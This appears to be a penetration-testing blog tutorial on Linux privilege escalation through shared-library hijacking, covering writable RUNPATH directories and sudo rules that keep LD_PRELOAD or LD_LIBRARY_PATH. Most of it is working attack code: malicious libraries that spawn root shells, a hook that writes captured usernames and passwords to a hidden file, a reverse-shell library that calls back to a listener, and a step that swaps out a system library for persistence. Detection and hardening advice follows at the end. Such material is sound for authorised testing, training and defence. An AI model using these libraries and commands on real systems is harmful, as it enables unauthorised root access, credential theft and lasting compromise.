Skip to Content
Shared object hijacking exploitation techniques on Linux systems

Shared Object Hijacking for Linux Privilege Escalation

Shared library hijacking on Linux, focusing on RUNPATH exploitation, LD_PRELOAD attacks, and custom library injection techniques.

Dec 15, 2025
Updated Nov 22, 2026
22 min read

Introduction

Shared object (SO) hijacking gets your code loaded into a privileged process by controlling which .so file the dynamic linker picks up. If a root-run binary searches a directory you can write to, or a sudo rule lets you set LD_PRELOAD or LD_LIBRARY_PATH, your library's constructor runs as root.

Most Linux programs are dynamically linked. Static libraries (.a) are copied into the executable at build time. Shared libraries (.so) are found and loaded at run time by the dynamic linker (ld.so), and that search is what you attack.

SUID and SGID binaries are the main targets because they run with the file owner's privileges. One library loaded from the wrong place is enough to go from a low-privileged user to root.

No exploit needed

This uses the dynamic linker exactly as designed. One writable directory in a SUID binary's RUNPATH is a full root path with no memory corruption and no kernel bug, and it does not show up in a scan that only checks SUID bits and versions.

Technical background

Shared libraries

Static and dynamic libraries:

TypeExtensionCompilationRuntime behaviourSecurity
Static.aLinked into binary at compile timeFixed, cannot be alteredSecure from SO hijacking but inflexible
Dynamic.soLoaded at runtimeCan be substitutedVulnerable if search paths misconfigured

When a dynamically linked binary runs:

  1. The kernel loads the ELF binary.
  2. The dynamic linker named in the binary (/lib64/ld-linux-x86-64.so.2 on x86-64) takes control.
  3. The linker reads the DT_NEEDED entries in the ELF dynamic section to get the list of libraries.
  4. It searches for each library in a fixed order. This is the step you attack.
  5. It maps the libraries into memory and runs their constructors.
  6. It resolves symbols.
  7. It jumps to the program's entry point.

Library search order

For a library name without a slash, ld.so searches in this order (see ld.so(8)):

  1. DT_RPATH in the binary, only if the binary has no DT_RUNPATH
  2. LD_LIBRARY_PATH, which is ignored for SUID and SGID binaries (secure-execution mode)
  3. DT_RUNPATH in the binary
  4. /etc/ld.so.cache, which ldconfig builds from /etc/ld.so.conf
  5. The default paths (/lib, /usr/lib, and their 64-bit variants)

Any of these you can write to that comes before the real library's location is a way in. For SUID binaries that means RPATH, RUNPATH and the directories listed in /etc/ld.so.conf.

ELF dynamic section

The ELF dynamic section holds the entries that drive library loading:

// Simplified ELF structure
typedef struct {
    unsigned char e_ident[16];  // Magic number and other info
    uint16_t      e_type;       // Object file type
    uint16_t      e_machine;    // Architecture
    // ... more fields
} Elf64_Ehdr;

// Dynamic section tags
#define DT_NEEDED   1   // Required library
#define DT_RPATH    15  // Library search path (deprecated)
#define DT_RUNPATH  29  // Library search path

RPATH and RUNPATH compared:

AttributeRPATHRUNPATH
PriorityHigher (cannot be overridden)Lower (LD_LIBRARY_PATH can override)
SecurityMore dangerousSlightly less dangerous
Modern useDeprecatedPreferred
OverrideCannot be overridden by LD_LIBRARY_PATHCan be overridden by LD_LIBRARY_PATH

Enumeration

SUID and SGID binaries

Find all SETUID binaries:

# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find SETGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find both SETUID and SETGID
find / -perm -6000 -type f 2>/dev/null

# Find with detailed output
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Example output:

-rwsr-xr-x 1 root root 16728 Sep  1 22:05 /opt/custom/payroll
-rwsr-xr-x 1 root root 53128 Mar 23 08:15 /usr/bin/passwd
-rwsr-xr-x 1 root root 44464 Mar 23 08:15 /usr/bin/newgrp

Binary dependencies

Using ldd to list shared libraries:

# List all shared library dependencies
ldd /opt/custom/payroll

# Example output:
linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

What to look for:

  • Non-standard library names (libshared.so, libcustom.so)
  • Libraries loaded from unusual paths
  • Libraries reported as not found

Check for missing libraries:

# Identify missing libraries
ldd /opt/custom/binary 2>&1 | grep "not found"

# Example:
libcustom.so => not found

RUNPATH and RPATH

Using readelf to examine ELF headers:

# Check for RUNPATH or RPATH
readelf -d /opt/custom/payroll | grep -E 'RUNPATH|RPATH'

# Example output:
 0x000000000000001d (RUNPATH)            Library runpath: [/development]

# Alternative format
 0x000000000000000f (RPATH)              Library rpath: [/opt/libs:/tmp]

Using patchelf to inspect:

# Show RUNPATH
patchelf --print-rpath /opt/custom/payroll

# Show interpreter
patchelf --print-interpreter /opt/custom/payroll

Check directory permissions:

# Verify if RUNPATH directories are writable
ls -la /development/

# Example of vulnerable configuration:
drwxrwxrwx  2 root root 4096 Sep  1 22:06 /development/

Functions the binary imports

Using nm to list symbols:

# List dynamic symbols
nm -D /opt/custom/payroll

# List undefined symbols (external dependencies)
nm -D /opt/custom/payroll | grep "U "

# Example output:
U dbquery
U printf
U setuid
U system

Using objdump to analyze imports:

# Display dynamic relocations
objdump -R /opt/custom/payroll

# Examine the PLT (Procedure Linkage Table)
objdump -d -j .plt /opt/custom/payroll

Using strings to find function names:

# Extract printable strings
strings /opt/custom/payroll | grep -E '^[a-zA-Z_][a-zA-Z0-9_]*$'

# Look for common exploitable patterns
strings /opt/custom/payroll | grep -i "query\|connect\|auth\|init"

Enumeration scripts

LinPEAS detection:

# Download and run LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# Look for section: "SUID - Check easy privesc, exploits and write perms"
grep -A 50 "Checking 'sudo -l'" linpeas_output.txt

Custom enumeration script:

#!/bin/bash

echo "[*] Searching for vulnerable SETUID binaries with custom libraries..."

# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null | while read binary; do
    echo "[+] Checking: $binary"

    # Check dependencies
    deps=$(ldd "$binary" 2>/dev/null)

    # Look for custom libraries (not in standard paths)
    echo "$deps" | grep -v "/lib/" | grep -v "/usr/lib/" | grep "=>"

    # Check for RUNPATH
    runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH")
    if [ ! -z "$runpath" ]; then
        echo "[!] RUNPATH/RPATH found:"
        echo "$runpath"

        # Extract path and check permissions
        path=$(echo "$runpath" | grep -oP '(?<=\[)[^\]]+')
        if [ -d "$path" ] && [ -w "$path" ]; then
            echo "[!!!] WRITABLE RUNPATH: $path"
        fi
    fi
    echo ""
done

RUNPATH exploitation

When it works

You need all of these:

  1. A SUID binary has a RUNPATH that points to a directory you can write to.
  2. The binary loads a library from that directory, or the library is missing there and further down the search order.
  3. You can create a library with that name in the directory.

The linker then loads your library before it reaches the system paths.

Step by step

Identify vulnerable binary

# Check SETUID binary
ls -la /opt/custom/payroll
-rwsr-xr-x 1 root root 16728 Sep  1 22:05 /opt/custom/payroll

# Verify RUNPATH
readelf -d /opt/custom/payroll | grep RUNPATH
 0x000000000000001d (RUNPATH)            Library runpath: [/development]

# Check directory permissions
ls -la /development/
drwxrwxrwx  2 root root 4096 Sep  1 22:06 /development/

Identify required library and function

# Check library dependencies
ldd /opt/custom/payroll
linux-vdso.so.1 =>  (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0c12d28000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)

# Create dummy library to test
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

# Run binary to identify missing function
./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

Create malicious shared library

// malicious_lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Constructor attribute - executed when library is loaded
__attribute__((constructor))
void init() {
    printf("[*] Malicious library loaded\n");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Implement the expected function to avoid errors
void dbquery() {
    printf("Malicious dbquery() function called\n");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Alternative: Hook common functions
int printf(const char *format, ...) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}

Compile malicious library

# Compile as shared library
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c -nostartfiles

# Alternative with specific function
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c

# Verify compilation
file /development/libshared.so
/development/libshared.so: ELF 64-bit LSB shared object, x86-64

# Check exported symbols
nm -D /development/libshared.so | grep dbquery
00000000000011a9 T dbquery

Execute vulnerable binary

# Run the SETUID binary
./payroll

# Expected output:
***************Inlane Freight Employee Database***************

[*] Malicious library loaded
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

bash-5.0# whoami
root

More RUNPATH techniques

Multi-function library hijacking:

// advanced_hijack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Function pointers to original functions
static void *(*original_malloc)(size_t) = NULL;
static void (*original_free)(void *) = NULL;

// Constructor - runs before main()
__attribute__((constructor))
void setup() {
    unsetenv("LD_PRELOAD");  // Clean environment
    setuid(0);
    setgid(0);
}

// Implement all expected functions from original library
void dbquery() {
    printf("Database query intercepted\n");
    system("/bin/bash -p");
}

void connect_db(const char *host) {
    printf("Database connection to %s intercepted\n", host);
    setuid(0);
    system("/bin/bash -p");
}

void authenticate(const char *user, const char *pass) {
    printf("Authentication attempt intercepted: %s:%s\n", user, pass);
    // Log credentials for later use
    FILE *f = fopen("/tmp/.creds", "a");
    fprintf(f, "%s:%s\n", user, pass);
    fclose(f);

    // Grant root access
    setuid(0);
    system("/bin/bash -p");
}

Persistence through library replacement:

# Backup original library
cp /lib/x86_64-linux-gnu/libshared.so /lib/x86_64-linux-gnu/libshared.so.bak

# Replace with malicious version
cp /tmp/malicious.so /lib/x86_64-linux-gnu/libshared.so

# Set same permissions and ownership
chown root:root /lib/x86_64-linux-gnu/libshared.so
chmod 644 /lib/x86_64-linux-gnu/libshared.so

# Update library cache
ldconfig

LD_PRELOAD exploitation

How LD_PRELOAD works

LD_PRELOAD lists libraries to load before all others, so they can replace any function the program calls.

For SUID and SGID binaries the linker ignores it, except for libraries in the standard directories that are themselves SUID. Sudo strips it by default. It becomes useful when a sudo rule keeps it, typically through env_keep+=LD_PRELOAD.

Check whether sudo keeps LD_PRELOAD

# Check sudo privileges
sudo -l

# Look for these indicators:
# env_reset
# env_keep+=LD_PRELOAD

# Example vulnerable configuration:
Matching Defaults entries for user on target:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User user may run the following commands on target:
    (root) NOPASSWD: /usr/bin/apache2

LD_PRELOAD techniques

Technique 1: Basic LD_PRELOAD Escalation

// preload_root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}

Compile and execute:

# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload_root.c

# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/apache2

# Alternative: Any binary
sudo LD_PRELOAD=/tmp/preload.so /bin/ls

Technique 2: Function Hooking

// hook_functions.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

// Hook getuid() to always return 0 (root)
uid_t getuid(void) {
    return 0;
}

// Hook access() to always return success
int access(const char *pathname, int mode) {
    return 0;
}

// Hook open() to intercept file operations
int open(const char *pathname, int flags) {
    int (*original_open)(const char*, int);

    // Get original function
    original_open = dlsym(RTLD_NEXT, "open");

    // Log all file opens
    FILE *log = fopen("/tmp/opens.log", "a");
    fprintf(log, "Open: %s\n", pathname);
    fclose(log);

    // Call original function
    return original_open(pathname, flags);
}

Technique 3: Reverse Shell via LD_PRELOAD

// revshell_preload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void _init() {
    unsetenv("LD_PRELOAD");

    int sockfd;
    struct sockaddr_in server;

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("10.10.14.5");

    // Connect to attacker
    connect(sockfd, (struct sockaddr *)&server, sizeof(server));

    // Redirect stdin, stdout, stderr
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    // Execute shell
    setuid(0);
    setgid(0);
    execve("/bin/bash", NULL, NULL);
}

Execute:

# Start listener on attacker machine
nc -lvnp 4444

# On target
gcc -fPIC -shared -nostartfiles -o /tmp/revshell.so revshell_preload.c
sudo LD_PRELOAD=/tmp/revshell.so /usr/bin/find

LD_LIBRARY_PATH exploitation

When LD_LIBRARY_PATH is exploitable

Check for sudo privileges:

sudo -l

# Vulnerable configuration:
env_keep+=LD_LIBRARY_PATH

User user may run the following commands on target:
    (root) NOPASSWD: /opt/proprietary/script.sh

Technique

Identify script's library dependencies

# Analyze the script
cat /opt/proprietary/script.sh

#!/bin/bash
/usr/bin/custom_binary
/usr/bin/logger "Script executed"

# Check dependencies
ldd /usr/bin/custom_binary
linux-vdso.so.1 (0x00007ffeff9f1000)
libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f8c4e200000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8c4de00000)

Create malicious library

// libcrypto.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unsetenv("LD_LIBRARY_PATH");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Implement expected functions to avoid crashes
void OPENSSL_init_crypto() {}
void EVP_EncryptInit() {}

Compile and execute

# Compile
gcc -fPIC -shared -o /tmp/libcrypto.so.1.1 libcrypto.c

# Execute with modified LD_LIBRARY_PATH
sudo LD_LIBRARY_PATH=/tmp /opt/proprietary/script.sh

# Result: Root shell

Detection and prevention

Detecting shared object hijacking

Audit SETUID binaries for RUNPATH:

#!/bin/bash
# audit_runpath.sh

echo "[*] Auditing SETUID binaries for RUNPATH vulnerabilities..."

find / -perm -4000 -type f 2>/dev/null | while read binary; do
    runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH" | grep -oP '(?<=\[)[^\]]+')

    if [ ! -z "$runpath" ]; then
        echo "[!] RUNPATH found: $binary -> $runpath"

        # Check if writable
        if [ -w "$runpath" ]; then
            echo "[!!!] VULNERABLE: $runpath is writable!"
        fi
    fi
done

Monitor library loading:

# Use auditd to monitor library loads
auditctl -w /lib -p wa -k library_modification
auditctl -w /usr/lib -p wa -k library_modification
auditctl -w /lib64 -p wa -k library_modification

# Review audit logs
ausearch -k library_modification

Detect LD_PRELOAD abuse:

# Monitor environment variables in sudo commands
auditctl -a always,exit -F arch=b64 -S execve -C uid!=euid -F key=sudo_escalation

# Check sudo configuration
grep -r "env_keep.*LD_PRELOAD" /etc/sudoers /etc/sudoers.d/

# Alert on suspicious patterns
grep "LD_PRELOAD" /var/log/auth.log

Prevention

  1. Remove writable RUNPATH directories:
# Identify binaries with RUNPATH
find / -type f -executable -exec readelf -d {} \; 2>/dev/null | grep RUNPATH

# Remove RUNPATH using patchelf
patchelf --remove-rpath /opt/custom/binary

# Or recompile without RUNPATH
gcc -o binary binary.c  # Without -Wl,-rpath
  1. Secure sudo configuration:
# Edit /etc/sudoers
visudo

# Remove dangerous env_keep directives
# REMOVE: env_keep+=LD_PRELOAD
# REMOVE: env_keep+=LD_LIBRARY_PATH

# Add secure_path
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Reset environment by default
Defaults    env_reset
  1. Use absolute paths in SETUID binaries:
// Insecure
system("ls -la");

// Secure
system("/bin/ls -la");

// Most secure - avoid system() entirely
execve("/bin/ls", args, env);
  1. Implement library validation:
// Validate library integrity before loading
#include <openssl/sha.h>

int verify_library(const char *lib_path) {
    unsigned char expected_hash[SHA256_DIGEST_LENGTH] = { /* known good hash */ };
    unsigned char calculated_hash[SHA256_DIGEST_LENGTH];

    // Calculate hash of library file
    // Compare with expected hash
    // Return 0 if match, -1 if mismatch
}
  1. Enable SELinux/AppArmor:
# SELinux: Restrict library loading
# Create policy to restrict LD_PRELOAD

# AppArmor profile example
cat > /etc/apparmor.d/opt.custom.payroll << 'EOF'
#include <tunables/global>

/opt/custom/payroll {
  #include <abstractions/base>

  # Deny LD_PRELOAD
  deny /tmp/** mrwlk,
  deny /dev/shm/** mrwlk,

  # Allow only system libraries
  /lib/** mr,
  /usr/lib/** mr,

  # Deny RUNPATH abuse
  deny /development/** mrwlk,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/opt.custom.payroll
  1. Restrict directory permissions:
# Ensure library directories are not writable
chmod 755 /lib /lib64 /usr/lib /usr/lib64

# Audit all world-writable directories
find / -type d -perm -002 ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null

# Remove world-write permission from custom library paths
chmod 755 /development

Hardening checklist

  • Audit all SETUID/SETGID binaries for RUNPATH/RPATH
  • Remove or secure writable RUNPATH directories
  • Disable LD_PRELOAD in /etc/sudoers
  • Implement secure_path in sudoers configuration
  • Enable SELinux/AppArmor with library loading restrictions
  • Monitor library modifications with auditd
  • Use absolute paths in system() calls
  • Regularly scan for new SETUID binaries
  • Implement file integrity monitoring (AIDE, Tripwire)
  • Review and minimize sudo privileges

Verification and testing

Test for RUNPATH vulnerability:

# Controlled test environment
mkdir /tmp/test_runpath
chmod 777 /tmp/test_runpath

# Create test binary with RUNPATH
cat > test.c << 'EOF'
#include <stdio.h>
void custom_function();
int main() {
    custom_function();
    return 0;
}
EOF

# Create library
cat > libcustom.c << 'EOF'
#include <stdio.h>
void custom_function() {
    printf("Custom library function\n");
}
EOF

# Compile with RUNPATH
gcc -fPIC -shared -o /tmp/test_runpath/libcustom.so libcustom.c
gcc -o test test.c -L/tmp/test_runpath -lcustom -Wl,-rpath,/tmp/test_runpath

# Verify RUNPATH
readelf -d test | grep RUNPATH

# Test library loading
./test

Verify sudo security:

# Check for dangerous environment variables
sudo -l | grep -E "env_keep.*LD_"

# Test if LD_PRELOAD is honored
echo 'void _init() { system("echo VULNERABLE"); }' > test.c
gcc -fPIC -shared -nostartfiles -o test.so test.c
sudo LD_PRELOAD=./test.so id 2>&1 | grep VULNERABLE

References

MITRE ATT&CK techniques

Linux documentation

Other resources

Next steps

On this page